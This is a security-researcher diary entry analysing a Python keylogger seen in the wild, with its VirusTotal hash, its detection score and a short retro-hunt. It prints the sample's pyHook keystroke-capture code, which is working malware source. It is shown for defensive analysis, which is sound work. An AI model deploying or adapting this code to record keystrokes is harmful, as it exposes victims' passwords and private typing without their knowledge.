A keylogger is one of the core features implemented by many malware to exfiltrate interesting data and learn about the victim. Besides the fact that interesting keystrokes can reveal sensitive information (usernames, passwords, IP addresses, hostnames, ...), just by having a look at the text typed on the keyboard, the attacker can profile his target and estimate if it's a juicy one or not. 

To follow up on my yesterday diary[1], Microsoft Windows provides API calls to implement a keylogger via API calls like GetKeyState() and GetAsyncKeyState() help to determine if a particular key is pressed[2]. But, can attackers implement a keylogger in other languages?

In 2019, I wrote a diary about a keylogger in PowerShell[3]. Seeing that Python becomes more and more popular in the Windows eco-system, I searched for some samples. I found one that was published as a PoC[4] already six years ago(!) but still used in the wild today. It was again submitted to VT a few weeks ago (SHA256:fe057c31951304a59ff6a59f58e49373c736e75305dcd0c53391d310337ccb41[5]) and has still a very nice score (only 3/59).

The implementation is Python is extremely easy thanks to the pyHook module:

import  pyHook, pythoncom
data=''
def GetKeyPressedAndSendIt(event):
    global data
    if event.Ascii==13:
        keys='<ENTER>'
    elif event.Ascii==8:
        keys='<BACK SPACE>'
    elif event.Ascii==9:
        keys='<TAB>'
    else:
        keys=chr(event.Ascii)
    data=data+keys

hm = pyHook.HookManager()
hm.KeyDown = GetKeyPressedAndSendIt
hm.HookKeyboard()
pythoncom.PumpMessages(

I performed a quick retro hunt on VT to search for the same kind of script and found only 9 occurences:

As you can see, the peak of submitted samples occurred between mid-January and mid-February.

[1] https://isc.sans.edu/forums/diary/Defenders+Know+Your+Operating+System+Like+Attackers+Do/27212/
[2] https://gist.github.com/aktau/11057438
[3] https://isc.sans.edu/forums/diary/Simple+Powershell+Keyloggers+are+Back/24676
[4] https://github.com/HacKeD0x90/PythonKeyLogger
[5] https://www.virustotal.com/gui/file/fe057c31951304a59ff6a59f58e49373c736e75305dcd0c53391d310337ccb41/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key